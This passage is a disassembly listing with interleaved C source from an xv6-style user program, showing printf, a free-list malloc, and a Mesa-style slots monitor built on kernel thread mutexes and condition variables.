3d8: e8 12 ff ff ff call 2ef <write>
}
3dd: c9 leave
3de: c3 ret
000003df <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3df: 55 push %ebp
3e0: 89 e5 mov %esp,%ebp
3e2: 56 push %esi
3e3: 53 push %ebx
3e4: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3e7: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3ee: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3f2: 74 17 je 40b <printint+0x2c>
3f4: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3f8: 79 11 jns 40b <printint+0x2c>
neg = 1;
3fa: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
401: 8b 45 0c mov 0xc(%ebp),%eax
404: f7 d8 neg %eax
406: 89 45 ec mov %eax,-0x14(%ebp)
409: eb 06 jmp 411 <printint+0x32>
} else {
x = xx;
40b: 8b 45 0c mov 0xc(%ebp),%eax
40e: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
411: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
418: 8b 4d f4 mov -0xc(%ebp),%ecx
41b: 8d 41 01 lea 0x1(%ecx),%eax
41e: 89 45 f4 mov %eax,-0xc(%ebp)
421: 8b 5d 10 mov 0x10(%ebp),%ebx
424: 8b 45 ec mov -0x14(%ebp),%eax
427: ba 00 00 00 00 mov $0x0,%edx
42c: f7 f3 div %ebx
42e: 89 d0 mov %edx,%eax
430: 0f b6 80 d0 14 00 00 movzbl 0x14d0(%eax),%eax
437: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
43b: 8b 75 10 mov 0x10(%ebp),%esi
43e: 8b 45 ec mov -0x14(%ebp),%eax
441: ba 00 00 00 00 mov $0x0,%edx
446: f7 f6 div %esi
448: 89 45 ec mov %eax,-0x14(%ebp)
44b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
44f: 75 c7 jne 418 <printint+0x39>
if(neg)
451: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
455: 74 10 je 467 <printint+0x88>
buf[i++] = '-';
457: 8b 45 f4 mov -0xc(%ebp),%eax
45a: 8d 50 01 lea 0x1(%eax),%edx
45d: 89 55 f4 mov %edx,-0xc(%ebp)
460: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
465: eb 1f jmp 486 <printint+0xa7>
467: eb 1d jmp 486 <printint+0xa7>
putc(fd, buf[i]);
469: 8d 55 dc lea -0x24(%ebp),%edx
46c: 8b 45 f4 mov -0xc(%ebp),%eax
46f: 01 d0 add %edx,%eax
471: 0f b6 00 movzbl (%eax),%eax
474: 0f be c0 movsbl %al,%eax
477: 89 44 24 04 mov %eax,0x4(%esp)
47b: 8b 45 08 mov 0x8(%ebp),%eax
47e: 89 04 24 mov %eax,(%esp)
481: e8 31 ff ff ff call 3b7 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
486: 83 6d f4 01 subl $0x1,-0xc(%ebp)
48a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
48e: 79 d9 jns 469 <printint+0x8a>
putc(fd, buf[i]);
}
490: 83 c4 30 add $0x30,%esp
493: 5b pop %ebx
494: 5e pop %esi
495: 5d pop %ebp
496: c3 ret
00000497 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
497: 55 push %ebp
498: 89 e5 mov %esp,%ebp
49a: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
49d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4a4: 8d 45 0c lea 0xc(%ebp),%eax
4a7: 83 c0 04 add $0x4,%eax
4aa: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4ad: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4b4: e9 7c 01 00 00 jmp 635 <printf+0x19e>
c = fmt[i] & 0xff;
4b9: 8b 55 0c mov 0xc(%ebp),%edx
4bc: 8b 45 f0 mov -0x10(%ebp),%eax
4bf: 01 d0 add %edx,%eax
4c1: 0f b6 00 movzbl (%eax),%eax
4c4: 0f be c0 movsbl %al,%eax
4c7: 25 ff 00 00 00 and $0xff,%eax
4cc: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4cf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4d3: 75 2c jne 501 <printf+0x6a>
if(c == '%'){
4d5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4d9: 75 0c jne 4e7 <printf+0x50>
state = '%';
4db: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4e2: e9 4a 01 00 00 jmp 631 <printf+0x19a>
} else {
putc(fd, c);
4e7: 8b 45 e4 mov -0x1c(%ebp),%eax
4ea: 0f be c0 movsbl %al,%eax
4ed: 89 44 24 04 mov %eax,0x4(%esp)
4f1: 8b 45 08 mov 0x8(%ebp),%eax
4f4: 89 04 24 mov %eax,(%esp)
4f7: e8 bb fe ff ff call 3b7 <putc>
4fc: e9 30 01 00 00 jmp 631 <printf+0x19a>
}
} else if(state == '%'){
501: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
505: 0f 85 26 01 00 00 jne 631 <printf+0x19a>
if(c == 'd'){
50b: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
50f: 75 2d jne 53e <printf+0xa7>
printint(fd, *ap, 10, 1);
511: 8b 45 e8 mov -0x18(%ebp),%eax
514: 8b 00 mov (%eax),%eax
516: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
51d: 00
51e: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
525: 00
526: 89 44 24 04 mov %eax,0x4(%esp)
52a: 8b 45 08 mov 0x8(%ebp),%eax
52d: 89 04 24 mov %eax,(%esp)
530: e8 aa fe ff ff call 3df <printint>
ap++;
535: 83 45 e8 04 addl $0x4,-0x18(%ebp)
539: e9 ec 00 00 00 jmp 62a <printf+0x193>
} else if(c == 'x' || c == 'p'){
53e: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
542: 74 06 je 54a <printf+0xb3>
544: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
548: 75 2d jne 577 <printf+0xe0>
printint(fd, *ap, 16, 0);
54a: 8b 45 e8 mov -0x18(%ebp),%eax
54d: 8b 00 mov (%eax),%eax
54f: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
556: 00
557: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
55e: 00
55f: 89 44 24 04 mov %eax,0x4(%esp)
563: 8b 45 08 mov 0x8(%ebp),%eax
566: 89 04 24 mov %eax,(%esp)
569: e8 71 fe ff ff call 3df <printint>
ap++;
56e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
572: e9 b3 00 00 00 jmp 62a <printf+0x193>
} else if(c == 's'){
577: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
57b: 75 45 jne 5c2 <printf+0x12b>
s = (char*)*ap;
57d: 8b 45 e8 mov -0x18(%ebp),%eax
580: 8b 00 mov (%eax),%eax
582: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
585: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
589: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
58d: 75 09 jne 598 <printf+0x101>
s = "(null)";
58f: c7 45 f4 45 10 00 00 movl $0x1045,-0xc(%ebp)
while(*s != 0){
596: eb 1e jmp 5b6 <printf+0x11f>
598: eb 1c jmp 5b6 <printf+0x11f>
putc(fd, *s);
59a: 8b 45 f4 mov -0xc(%ebp),%eax
59d: 0f b6 00 movzbl (%eax),%eax
5a0: 0f be c0 movsbl %al,%eax
5a3: 89 44 24 04 mov %eax,0x4(%esp)
5a7: 8b 45 08 mov 0x8(%ebp),%eax
5aa: 89 04 24 mov %eax,(%esp)
5ad: e8 05 fe ff ff call 3b7 <putc>
s++;
5b2: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5b6: 8b 45 f4 mov -0xc(%ebp),%eax
5b9: 0f b6 00 movzbl (%eax),%eax
5bc: 84 c0 test %al,%al
5be: 75 da jne 59a <printf+0x103>
5c0: eb 68 jmp 62a <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5c2: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5c6: 75 1d jne 5e5 <printf+0x14e>
putc(fd, *ap);
5c8: 8b 45 e8 mov -0x18(%ebp),%eax
5cb: 8b 00 mov (%eax),%eax
5cd: 0f be c0 movsbl %al,%eax
5d0: 89 44 24 04 mov %eax,0x4(%esp)
5d4: 8b 45 08 mov 0x8(%ebp),%eax
5d7: 89 04 24 mov %eax,(%esp)
5da: e8 d8 fd ff ff call 3b7 <putc>
ap++;
5df: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5e3: eb 45 jmp 62a <printf+0x193>
} else if(c == '%'){
5e5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5e9: 75 17 jne 602 <printf+0x16b>
putc(fd, c);
5eb: 8b 45 e4 mov -0x1c(%ebp),%eax
5ee: 0f be c0 movsbl %al,%eax
5f1: 89 44 24 04 mov %eax,0x4(%esp)
5f5: 8b 45 08 mov 0x8(%ebp),%eax
5f8: 89 04 24 mov %eax,(%esp)
5fb: e8 b7 fd ff ff call 3b7 <putc>
600: eb 28 jmp 62a <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
602: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
609: 00
60a: 8b 45 08 mov 0x8(%ebp),%eax
60d: 89 04 24 mov %eax,(%esp)
610: e8 a2 fd ff ff call 3b7 <putc>
putc(fd, c);
615: 8b 45 e4 mov -0x1c(%ebp),%eax
618: 0f be c0 movsbl %al,%eax
61b: 89 44 24 04 mov %eax,0x4(%esp)
61f: 8b 45 08 mov 0x8(%ebp),%eax
622: 89 04 24 mov %eax,(%esp)
625: e8 8d fd ff ff call 3b7 <putc>
}
state = 0;
62a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
631: 83 45 f0 01 addl $0x1,-0x10(%ebp)
635: 8b 55 0c mov 0xc(%ebp),%edx
638: 8b 45 f0 mov -0x10(%ebp),%eax
63b: 01 d0 add %edx,%eax
63d: 0f b6 00 movzbl (%eax),%eax
640: 84 c0 test %al,%al
642: 0f 85 71 fe ff ff jne 4b9 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
648: c9 leave
649: c3 ret
0000064a <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
64a: 55 push %ebp
64b: 89 e5 mov %esp,%ebp
64d: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
650: 8b 45 08 mov 0x8(%ebp),%eax
653: 83 e8 08 sub $0x8,%eax
656: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
659: a1 ec 14 00 00 mov 0x14ec,%eax
65e: 89 45 fc mov %eax,-0x4(%ebp)
661: eb 24 jmp 687 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
663: 8b 45 fc mov -0x4(%ebp),%eax
666: 8b 00 mov (%eax),%eax
668: 3b 45 fc cmp -0x4(%ebp),%eax
66b: 77 12 ja 67f <free+0x35>
66d: 8b 45 f8 mov -0x8(%ebp),%eax
670: 3b 45 fc cmp -0x4(%ebp),%eax
673: 77 24 ja 699 <free+0x4f>
675: 8b 45 fc mov -0x4(%ebp),%eax
678: 8b 00 mov (%eax),%eax
67a: 3b 45 f8 cmp -0x8(%ebp),%eax
67d: 77 1a ja 699 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
67f: 8b 45 fc mov -0x4(%ebp),%eax
682: 8b 00 mov (%eax),%eax
684: 89 45 fc mov %eax,-0x4(%ebp)
687: 8b 45 f8 mov -0x8(%ebp),%eax
68a: 3b 45 fc cmp -0x4(%ebp),%eax
68d: 76 d4 jbe 663 <free+0x19>
68f: 8b 45 fc mov -0x4(%ebp),%eax
692: 8b 00 mov (%eax),%eax
694: 3b 45 f8 cmp -0x8(%ebp),%eax
697: 76 ca jbe 663 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
699: 8b 45 f8 mov -0x8(%ebp),%eax
69c: 8b 40 04 mov 0x4(%eax),%eax
69f: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6a6: 8b 45 f8 mov -0x8(%ebp),%eax
6a9: 01 c2 add %eax,%edx
6ab: 8b 45 fc mov -0x4(%ebp),%eax
6ae: 8b 00 mov (%eax),%eax
6b0: 39 c2 cmp %eax,%edx
6b2: 75 24 jne 6d8 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6b4: 8b 45 f8 mov -0x8(%ebp),%eax
6b7: 8b 50 04 mov 0x4(%eax),%edx
6ba: 8b 45 fc mov -0x4(%ebp),%eax
6bd: 8b 00 mov (%eax),%eax
6bf: 8b 40 04 mov 0x4(%eax),%eax
6c2: 01 c2 add %eax,%edx
6c4: 8b 45 f8 mov -0x8(%ebp),%eax
6c7: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6ca: 8b 45 fc mov -0x4(%ebp),%eax
6cd: 8b 00 mov (%eax),%eax
6cf: 8b 10 mov (%eax),%edx
6d1: 8b 45 f8 mov -0x8(%ebp),%eax
6d4: 89 10 mov %edx,(%eax)
6d6: eb 0a jmp 6e2 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6d8: 8b 45 fc mov -0x4(%ebp),%eax
6db: 8b 10 mov (%eax),%edx
6dd: 8b 45 f8 mov -0x8(%ebp),%eax
6e0: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6e2: 8b 45 fc mov -0x4(%ebp),%eax
6e5: 8b 40 04 mov 0x4(%eax),%eax
6e8: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6ef: 8b 45 fc mov -0x4(%ebp),%eax
6f2: 01 d0 add %edx,%eax
6f4: 3b 45 f8 cmp -0x8(%ebp),%eax
6f7: 75 20 jne 719 <free+0xcf>
p->s.size += bp->s.size;
6f9: 8b 45 fc mov -0x4(%ebp),%eax
6fc: 8b 50 04 mov 0x4(%eax),%edx
6ff: 8b 45 f8 mov -0x8(%ebp),%eax
702: 8b 40 04 mov 0x4(%eax),%eax
705: 01 c2 add %eax,%edx
707: 8b 45 fc mov -0x4(%ebp),%eax
70a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
70d: 8b 45 f8 mov -0x8(%ebp),%eax
710: 8b 10 mov (%eax),%edx
712: 8b 45 fc mov -0x4(%ebp),%eax
715: 89 10 mov %edx,(%eax)
717: eb 08 jmp 721 <free+0xd7>
} else
p->s.ptr = bp;
719: 8b 45 fc mov -0x4(%ebp),%eax
71c: 8b 55 f8 mov -0x8(%ebp),%edx
71f: 89 10 mov %edx,(%eax)
freep = p;
721: 8b 45 fc mov -0x4(%ebp),%eax
724: a3 ec 14 00 00 mov %eax,0x14ec
}
729: c9 leave
72a: c3 ret
0000072b <morecore>:
static Header*
morecore(uint nu)
{
72b: 55 push %ebp
72c: 89 e5 mov %esp,%ebp
72e: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
731: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
738: 77 07 ja 741 <morecore+0x16>
nu = 4096;
73a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
741: 8b 45 08 mov 0x8(%ebp),%eax
744: c1 e0 03 shl $0x3,%eax
747: 89 04 24 mov %eax,(%esp)
74a: e8 08 fc ff ff call 357 <sbrk>
74f: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
752: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
756: 75 07 jne 75f <morecore+0x34>
return 0;
758: b8 00 00 00 00 mov $0x0,%eax
75d: eb 22 jmp 781 <morecore+0x56>
hp = (Header*)p;
75f: 8b 45 f4 mov -0xc(%ebp),%eax
762: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
765: 8b 45 f0 mov -0x10(%ebp),%eax
768: 8b 55 08 mov 0x8(%ebp),%edx
76b: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
76e: 8b 45 f0 mov -0x10(%ebp),%eax
771: 83 c0 08 add $0x8,%eax
774: 89 04 24 mov %eax,(%esp)
777: e8 ce fe ff ff call 64a <free>
return freep;
77c: a1 ec 14 00 00 mov 0x14ec,%eax
}
781: c9 leave
782: c3 ret
00000783 <malloc>:
void*
malloc(uint nbytes)
{
783: 55 push %ebp
784: 89 e5 mov %esp,%ebp
786: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
789: 8b 45 08 mov 0x8(%ebp),%eax
78c: 83 c0 07 add $0x7,%eax
78f: c1 e8 03 shr $0x3,%eax
792: 83 c0 01 add $0x1,%eax
795: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
798: a1 ec 14 00 00 mov 0x14ec,%eax
79d: 89 45 f0 mov %eax,-0x10(%ebp)
7a0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7a4: 75 23 jne 7c9 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7a6: c7 45 f0 e4 14 00 00 movl $0x14e4,-0x10(%ebp)
7ad: 8b 45 f0 mov -0x10(%ebp),%eax
7b0: a3 ec 14 00 00 mov %eax,0x14ec
7b5: a1 ec 14 00 00 mov 0x14ec,%eax
7ba: a3 e4 14 00 00 mov %eax,0x14e4
base.s.size = 0;
7bf: c7 05 e8 14 00 00 00 movl $0x0,0x14e8
7c6: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7c9: 8b 45 f0 mov -0x10(%ebp),%eax
7cc: 8b 00 mov (%eax),%eax
7ce: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7d1: 8b 45 f4 mov -0xc(%ebp),%eax
7d4: 8b 40 04 mov 0x4(%eax),%eax
7d7: 3b 45 ec cmp -0x14(%ebp),%eax
7da: 72 4d jb 829 <malloc+0xa6>
if(p->s.size == nunits)
7dc: 8b 45 f4 mov -0xc(%ebp),%eax
7df: 8b 40 04 mov 0x4(%eax),%eax
7e2: 3b 45 ec cmp -0x14(%ebp),%eax
7e5: 75 0c jne 7f3 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7e7: 8b 45 f4 mov -0xc(%ebp),%eax
7ea: 8b 10 mov (%eax),%edx
7ec: 8b 45 f0 mov -0x10(%ebp),%eax
7ef: 89 10 mov %edx,(%eax)
7f1: eb 26 jmp 819 <malloc+0x96>
else {
p->s.size -= nunits;
7f3: 8b 45 f4 mov -0xc(%ebp),%eax
7f6: 8b 40 04 mov 0x4(%eax),%eax
7f9: 2b 45 ec sub -0x14(%ebp),%eax
7fc: 89 c2 mov %eax,%edx
7fe: 8b 45 f4 mov -0xc(%ebp),%eax
801: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
804: 8b 45 f4 mov -0xc(%ebp),%eax
807: 8b 40 04 mov 0x4(%eax),%eax
80a: c1 e0 03 shl $0x3,%eax
80d: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
810: 8b 45 f4 mov -0xc(%ebp),%eax
813: 8b 55 ec mov -0x14(%ebp),%edx
816: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
819: 8b 45 f0 mov -0x10(%ebp),%eax
81c: a3 ec 14 00 00 mov %eax,0x14ec
return (void*)(p + 1);
821: 8b 45 f4 mov -0xc(%ebp),%eax
824: 83 c0 08 add $0x8,%eax
827: eb 38 jmp 861 <malloc+0xde>
}
if(p == freep)
829: a1 ec 14 00 00 mov 0x14ec,%eax
82e: 39 45 f4 cmp %eax,-0xc(%ebp)
831: 75 1b jne 84e <malloc+0xcb>
if((p = morecore(nunits)) == 0)
833: 8b 45 ec mov -0x14(%ebp),%eax
836: 89 04 24 mov %eax,(%esp)
839: e8 ed fe ff ff call 72b <morecore>
83e: 89 45 f4 mov %eax,-0xc(%ebp)
841: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
845: 75 07 jne 84e <malloc+0xcb>
return 0;
847: b8 00 00 00 00 mov $0x0,%eax
84c: eb 13 jmp 861 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
84e: 8b 45 f4 mov -0xc(%ebp),%eax
851: 89 45 f0 mov %eax,-0x10(%ebp)
854: 8b 45 f4 mov -0xc(%ebp),%eax
857: 8b 00 mov (%eax),%eax
859: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
85c: e9 70 ff ff ff jmp 7d1 <malloc+0x4e>
}
861: c9 leave
862: c3 ret
00000863 <mesa_slots_monitor_alloc>:
#include "user.h"
mesa_slots_monitor_t* mesa_slots_monitor_alloc(){
863: 55 push %ebp
864: 89 e5 mov %esp,%ebp
866: 83 ec 28 sub $0x28,%esp
int mutex= kthread_mutex_alloc() ;
869: e8 21 fb ff ff call 38f <kthread_mutex_alloc>
86e: 89 45 f4 mov %eax,-0xc(%ebp)
if( mutex < 0){
871: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
875: 79 0a jns 881 <mesa_slots_monitor_alloc+0x1e>
return 0;
877: b8 00 00 00 00 mov $0x0,%eax
87c: e9 8b 00 00 00 jmp 90c <mesa_slots_monitor_alloc+0xa9>
}
struct mesa_cond * empty = mesa_cond_alloc();
881: e8 44 06 00 00 call eca <mesa_cond_alloc>
886: 89 45 f0 mov %eax,-0x10(%ebp)
if (empty == 0){
889: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
88d: 75 12 jne 8a1 <mesa_slots_monitor_alloc+0x3e>
kthread_mutex_dealloc(mutex);
88f: 8b 45 f4 mov -0xc(%ebp),%eax
892: 89 04 24 mov %eax,(%esp)
895: e8 fd fa ff ff call 397 <kthread_mutex_dealloc>
return 0;
89a: b8 00 00 00 00 mov $0x0,%eax
89f: eb 6b jmp 90c <mesa_slots_monitor_alloc+0xa9>
}
struct mesa_cond * full = mesa_cond_alloc();
8a1: e8 24 06 00 00 call eca <mesa_cond_alloc>
8a6: 89 45 ec mov %eax,-0x14(%ebp)
if (full == 0){
8a9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8ad: 75 1d jne 8cc <mesa_slots_monitor_alloc+0x69>
kthread_mutex_dealloc(mutex);
8af: 8b 45 f4 mov -0xc(%ebp),%eax
8b2: 89 04 24 mov %eax,(%esp)
8b5: e8 dd fa ff ff call 397 <kthread_mutex_dealloc>
mesa_cond_dealloc(empty);
8ba: 8b 45 f0 mov -0x10(%ebp),%eax
8bd: 89 04 24 mov %eax,(%esp)
8c0: e8 46 06 00 00 call f0b <mesa_cond_dealloc>
return 0;
8c5: b8 00 00 00 00 mov $0x0,%eax
8ca: eb 40 jmp 90c <mesa_slots_monitor_alloc+0xa9>
}
mesa_slots_monitor_t * monitor= malloc (sizeof (mesa_slots_monitor_t));
8cc: c7 04 24 14 00 00 00 movl $0x14,(%esp)
8d3: e8 ab fe ff ff call 783 <malloc>
8d8: 89 45 e8 mov %eax,-0x18(%ebp)
monitor->empty= empty;
8db: 8b 45 e8 mov -0x18(%ebp),%eax
8de: 8b 55 f0 mov -0x10(%ebp),%edx
8e1: 89 50 04 mov %edx,0x4(%eax)
monitor->full= full;
8e4: 8b 45 e8 mov -0x18(%ebp),%eax
8e7: 8b 55 ec mov -0x14(%ebp),%edx
8ea: 89 50 08 mov %edx,0x8(%eax)
monitor->Monitormutex= mutex;
8ed: 8b 45 e8 mov -0x18(%ebp),%eax
8f0: 8b 55 f4 mov -0xc(%ebp),%edx
8f3: 89 10 mov %edx,(%eax)
monitor->slots=0;
8f5: 8b 45 e8 mov -0x18(%ebp),%eax
8f8: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
monitor->active=1;
8ff: 8b 45 e8 mov -0x18(%ebp),%eax
902: c7 40 10 01 00 00 00 movl $0x1,0x10(%eax)
return monitor;
909: 8b 45 e8 mov -0x18(%ebp),%eax
}
90c: c9 leave
90d: c3 ret
0000090e <mesa_slots_monitor_dealloc>:
int mesa_slots_monitor_dealloc(mesa_slots_monitor_t* monitor){
90e: 55 push %ebp
90f: 89 e5 mov %esp,%ebp
911: 83 ec 18 sub $0x18,%esp
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
914: 8b 45 08 mov 0x8(%ebp),%eax
917: 8b 00 mov (%eax),%eax
919: 89 04 24 mov %eax,(%esp)
91c: e8 76 fa ff ff call 397 <kthread_mutex_dealloc>
921: 85 c0 test %eax,%eax
923: 78 2e js 953 <mesa_slots_monitor_dealloc+0x45>
mesa_cond_alloc(monitor->empty)<0 ||
925: 8b 45 08 mov 0x8(%ebp),%eax
928: 8b 40 04 mov 0x4(%eax),%eax
92b: 89 04 24 mov %eax,(%esp)
92e: e8 97 05 00 00 call eca <mesa_cond_alloc>
mesa_cond_alloc(monitor->full)<0
933: 8b 45 08 mov 0x8(%ebp),%eax
936: 8b 40 08 mov 0x8(%eax),%eax
939: 89 04 24 mov %eax,(%esp)
93c: e8 89 05 00 00 call eca <mesa_cond_alloc>
){
return -1;
}
free(monitor);
941: 8b 45 08 mov 0x8(%ebp),%eax
944: 89 04 24 mov %eax,(%esp)
947: e8 fe fc ff ff call 64a <free>
return 0;
94c: b8 00 00 00 00 mov $0x0,%eax
951: eb 05 jmp 958 <mesa_slots_monitor_dealloc+0x4a>
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
mesa_cond_alloc(monitor->empty)<0 ||
mesa_cond_alloc(monitor->full)<0
){
return -1;
953: b8 ff ff ff ff mov $0xffffffff,%eax
}
free(monitor);
return 0;
}
958: c9 leave
959: c3 ret
0000095a <mesa_slots_monitor_addslots>:
int mesa_slots_monitor_addslots(mesa_slots_monitor_t* monitor,int n){
95a: 55 push %ebp
95b: 89 e5 mov %esp,%ebp
95d: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
960: 8b 45 08 mov 0x8(%ebp),%eax
963: 8b 40 10 mov 0x10(%eax),%eax
966: 85 c0 test %eax,%eax
968: 75 0a jne 974 <mesa_slots_monitor_addslots+0x1a>
return -1;
96a: b8 ff ff ff ff mov $0xffffffff,%eax
96f: e9 81 00 00 00 jmp 9f5 <mesa_slots_monitor_addslots+0x9b>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
974: 8b 45 08 mov 0x8(%ebp),%eax
977: 8b 00 mov (%eax),%eax
979: 89 04 24 mov %eax,(%esp)
97c: e8 1e fa ff ff call 39f <kthread_mutex_lock>
981: 83 f8 ff cmp $0xffffffff,%eax
984: 7d 07 jge 98d <mesa_slots_monitor_addslots+0x33>
return -1;
986: b8 ff ff ff ff mov $0xffffffff,%eax
98b: eb 68 jmp 9f5 <mesa_slots_monitor_addslots+0x9b>
while ( monitor->active && monitor->slots > 0 )
98d: eb 17 jmp 9a6 <mesa_slots_monitor_addslots+0x4c>
{
//printf(1,"grader is sleeping %d\n ", monitor->active);
mesa_cond_wait( monitor->full, monitor->Monitormutex) ;
98f: 8b 45 08 mov 0x8(%ebp),%eax
992: 8b 10 mov (%eax),%edx
994: 8b 45 08 mov 0x8(%ebp),%eax
997: 8b 40 08 mov 0x8(%eax),%eax
99a: 89 54 24 04 mov %edx,0x4(%esp)
99e: 89 04 24 mov %eax,(%esp)
9a1: e8 af 05 00 00 call f55 <mesa_cond_wait>
return -1;
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
return -1;
while ( monitor->active && monitor->slots > 0 )
9a6: 8b 45 08 mov 0x8(%ebp),%eax
9a9: 8b 40 10 mov 0x10(%eax),%eax
9ac: 85 c0 test %eax,%eax
9ae: 74 0a je 9ba <mesa_slots_monitor_addslots+0x60>
9b0: 8b 45 08 mov 0x8(%ebp),%eax
9b3: 8b 40 0c mov 0xc(%eax),%eax
9b6: 85 c0 test %eax,%eax
9b8: 7f d5 jg 98f <mesa_slots_monitor_addslots+0x35>
//printf(1,"grader is sleeping %d\n ", monitor->active);
mesa_cond_wait( monitor->full, monitor->Monitormutex) ;
}
if ( monitor->active)
9ba: 8b 45 08 mov 0x8(%ebp),%eax
9bd: 8b 40 10 mov 0x10(%eax),%eax
9c0: 85 c0 test %eax,%eax
9c2: 74 11 je 9d5 <mesa_slots_monitor_addslots+0x7b>
monitor->slots+= n;
9c4: 8b 45 08 mov 0x8(%ebp),%eax
9c7: 8b 50 0c mov 0xc(%eax),%edx
